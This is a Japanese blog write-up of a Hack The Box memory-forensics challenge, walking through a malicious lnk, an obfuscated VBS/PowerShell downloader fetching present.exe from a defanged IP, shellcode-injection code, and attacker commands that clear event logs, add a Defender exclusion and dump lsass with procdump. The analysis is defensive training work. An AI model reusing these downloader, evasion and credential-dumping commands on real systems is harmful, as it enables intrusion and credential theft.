はまやんはまやんはまやん

hamayanhamayan's blog

Hack The Box Sherlocks - OpTinselTrace-3 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-3
Hack The Box Sherlocksとは

Sherlock Scenario

Oh no! Our IT admin is a bit of a cotton-headed ninny-muggins, ByteSparkle left his VPN configuration file in our fancy private S3 location! The nasty attackers may have gained access to our internal network. We think they compromised one of our TinkerTech workstations. Our security team has managed to grab you a memory dump - please analyse it and answer the questions! Santa is waiting…
なんてこった!弊社の IT 管理者はちょっと頭の固い嫌な奴で、ByteSparkle は VPN 設定ファイルを弊社のプライベートな S3 の場所に残しました。厄介な攻撃者が当社の内部ネットワークにアクセスした可能性があります。彼らは私たちの TinkerTech ワークステーションの 1 つを侵害したと考えられます。弊社のセキュリティ チームがメモリ ダンプを取得しました。それを分析して質問に答えてください。サンタさんが待ってるよ…

2023年のSherlocksクリスマスイベント問題の3問目。
メモリフォレンジックの問題。

Tasks

Task 1

What is the name of the file that is likely copied from the shared folder (including the file extension)?
共有フォルダーからコピーされたと思われるファイルの名前 (ファイル拡張子を含む) は何ですか?

Task 2,3から逆算して答えた。
lnkファイルを含んでいるzipはpresent_for_santa.zipであり、これが答え。
Desktopに変なファイルがあるな…みたいな所から探っていくのが想定解かな?

Task 2

What is the file name used to trigger the attack (including the file extension)?
攻撃を引き起こすために使用されたファイル名 (ファイル拡張子を含む) は何ですか?

Task 3から逆算して答えた。
click_for_present.lnkが答え。

Task 3

What is the name of the file executed by click_for_present.lnk (including the file extension)?
click_for_present.lnkで実行されるファイル名(拡張子含む)は何ですか?

click_for_present.lnk?と思ってstringsをgrepしてみると、そういうことね。

$ strings santaclaus.bin | grep "click_for_present.lnk"
present_for_santa/click_for_present.lnk
present_for_santa/click_for_present.lnk
present_for_santa/click_for_present.lnkPK
click_for_present.lnk

なんかzipありましたね。
windows.filescanの結果に0xa48df8fb42a0 \Users\santaclaus\Desktop\present_for_santa.zip 216というのがある。
python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48df8fb42a0で抽出可能。
解凍すると、click_for_present.lnkが含まれていました。
クリックすると実行されるのは以下コマンド。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc JABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcACIAIAAtAEYAaQBsAHQAZQByACAAIgBwAHIAZQBzAGUAbgB0ACoALgB2AGIAcwAiACAALQBGAGkAbABlACAAL

base64エンコードをデコードすると$file = Get-ChildItem -Path "C:\Users\" -Filter "present*.vbs" -Fileとなる。
ちょうどzipを回答したファイルにpresent.vbsというのがあるのでそれが答え。present.vbs

Task 4

What is the name of the program used by the vbs script to execute the next stage?
次のステージを実行するために vbs スクリプトで使用されるプログラムの名前は何ですか?

present.vbsは難読化されているのでゴリゴリ解除する。
沢山ゴミデータが入っているが、A4にpayloadを入れてReplace(A4,"GRINCH","i")みたいにリプレースをしてpowershellに渡している。
よって答えはpowershell.exe

Task 5

What is the name of the function used for the powershell script obfuscation?
PowerShell スクリプトの難読化に使用される関数の名前は何ですか?

powershellに渡るのは以下のようなコード。

Function WrapPresent ($Ensproglig){$Nringsvirksomhedernes = $Ensproglig.Length-1; For ($Smiths211=6; $Smiths211 -lt $Nringsvirksomhedernes){$Malice=$Malice+$Ensproglig.Substring($Smiths211, 1);$Smiths211+=7;}$Malice;};$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';$gluhwein=WrapPresent 'd a peichant eor misxhief a';. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');

ちょっときれいにするとこんな感じ。

Function WrapPresent ($encoded){
    $length = $encoded.Length-1;
    For ($i=6; $i -lt $length) {
        $decoded = $decoded + $encoded.Substring($i, 1);
        $i+=7;
    }
    $decoded;
};
$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';
$gluhwein=WrapPresent 'd a peichant eor misxhief a';
. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');
$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';
. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');
. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');
. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');

WrapPresentという関数を使って7文字毎に文字を持ってきて全部変換して使っている。
よって答えはWrapPresent

Task 6

What is the URL that the next stage was downloaded from?
次のステージをダウンロードした URL は何ですか?

Task 5で整理したファイルを更に整理する。

$present='hxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg';
$gluhwein='iex';
. ($gluhwein) '$persentLocation=$env:temp';
$File='\present.exe';
. ($gluhwein) '$persentLocation=$persentLocation+$File';
. ($gluhwein) '. $gluhwein (New-Object net.webclient).DownloadFile($present,$persentLocation);';
. ($gluhwein) 'Start-Process $persentLocation;';

という感じで、もうちょっと整理すると

$present='hxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg';
$persentLocation=$env:temp;
$File='\present.exe';
$persentLocation=$persentLocation+$File;
(New-Object net.webclient).DownloadFile($present,$persentLocation);
Start-Process $persentLocation;

ここまでがPowershellでのペイロード
よって答えはhxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg
一応defangしている。答えはdefangしない生urlが答え。
ちなみに、上記URLは404応答で既に存在しない。

Task 7

What is the IP and port that the executable downloaded the shellcode from (IP:Port)?
実行可能ファイルがシェルコードをダウンロードした IP とポート (IP:ポート) は何ですか?

windows.netscanが使えそう。
これまでの解析で77[.]74[.]198[.]52が悪性IPアドレスであると判明しているので、それで探してみると情報が残っていた。

0xa48df88db790 TCPv4 192.168.68.6 49687 77[.]74[.]198[.]52 447 ESTABLISHED 724 svchost.exe 2023-11-30 16:42:41.000000

77[.]74[.]198[.]52:447とすると違った。
うーん、と思いながら、方針を変えてpresent.exeについてメモリから持ってくる。

$ cat windows.filescan.txt | grep "present.exe"
0xa48df8fd7520  \Users\SANTAC~1\AppData\Local\Temp\present.exe  216
0xa48e003d0530  \Users\SANTAC~1\AppData\Local\Temp\present.exe  216

$ python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48df8fd7520

ghidraで開いて巡回すると、それっぽいことをしている部分が見つかる。

    inet_pton(2,"77[.]74[.]198[.]52",local_1d0.sa_data + 2);
    local_1d0._0_8_ = CONCAT62(local_1d0.sa_data._0_6_,2);
    uVar1 = htons(0x1bd);
    local_1d0._0_4_ = CONCAT22(uVar1,local_1d0.sa_family);
    local_1d0._0_8_ = local_1d0._0_8_ & 0xffffffff00000000 | (ulonglong)local_1d0._0_4_;
    iVar2 = connect(s,&local_1d0,0x10);

ここですね。
htonsを調べるとhtons 関数を使用すると、ホストのバイト順の IP ポート番号をネットワーク バイト順の IP ポート番号に変換できます。と出てくるので、これですね。
0x1bdを10進数にすると445なので77[.]74[.]198[.]52:445が答え(defang前が答え)。

Task 8

What is the process ID of the remote process that the shellcode was injected into?
シェルコードが挿入されたリモート プロセスのプロセス ID は何ですか?

Task 7のwindows.netscanの結果を見ると所属するPIDがわかる。724
ghidraでも以下のようにメモリを取得して書いて呼ぶ現場を確認することができる。

lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAllocEx(pvVar4,(LPVOID)0x0,0x1fe,0x3000,4);
WriteProcessMemory(pvVar4,lpStartAddress,&DAT_140005640,0x1fe,(SIZE_T *)&local_1d0);
memset(&DAT_140005640,0,0x1fe);
VirtualProtectEx(pvVar4,lpStartAddress,0x1fe,0x40,local_1d8);
pvVar3 = CreateRemoteThread(pvVar4,(LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);

Task 9

After the attacker established a Command & Control connection, what command did they use to clear all event logs?
攻撃者はコマンド アンド コントロール接続を確立した後、すべてのイベント ログをクリアするためにどのコマンドを使用しましたか?

取り合えずPID:724のメモリダンプを取ってstringsをしてgrepしながら眺めるが特に何もない。
普通にstringsするのではなく、Windows内部で使われているUTF-16でstringsしてgrepすると面白いのが見つかる。

$ python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.memmap.Memmap --pid 724 --dump
...

$ strings -e l pid.724.dmp | grep powershell.exe
...
HostApplication=powershell.exe Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }
HostApplication=powershell.exe Add-MpPreference -DisDisableRealtimeMonitoring True
...
HostApplication=powershell.exe Add-MpPreference -ExclusionPath c:\users\public
...
HostApplication=powershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmp
...
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Function WrapPresent ($Ensproglig){$Nringsvirksomhedernes = $Ensproglig.Length-1; For ($Smiths211=6; $Smiths211 -lt $Nringsvirksomhedernes){$Malice=$Malice+$Ensproglig.Substring($Smiths211, 1);$Smiths211+=7;}$Malice;};$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';$gluhwein=WrapPresent 'd a peichant eor misxhief a';. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');
HostApplication=powershell.exe Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

欲しい情報がすべて詰まっている。
答えはGet-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

Task 10

What is the full path of the folder that was excluded from defender?
Defenderから除外されたフォルダーのフルパスは何ですか?

Taks 9の結果から分かる。
c:\users\public

Task 11

What is the original name of the file that was ingressed to the victim?
被害者に侵入されたファイルの元の名前は何ですか?

Task 9の結果からpowershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmpというのが見れる。
windows.filescanの結果を漁ると0xa48e00d10a90 \Users\Public\PresentForNaughtyChild.exe 216とあり、メモリから抜けそう。
python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48e00d10a90で抽出可能。
md5ハッシュを取得してVTに投げると正体が分かる。
https://www.virustotal.com/gui/file/337c24c2e6016a9bdca30f2820df9c1dae7b827ad73c93a14e1dc78906b63890 procdump.exeが答え。

Task 12

What is the name of the process targeted by procdump.exe?
procdump.exe のターゲットとなるプロセスの名前は何ですか?

これは実行コマンドから分かる。
powershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmp
lsass.exeですね。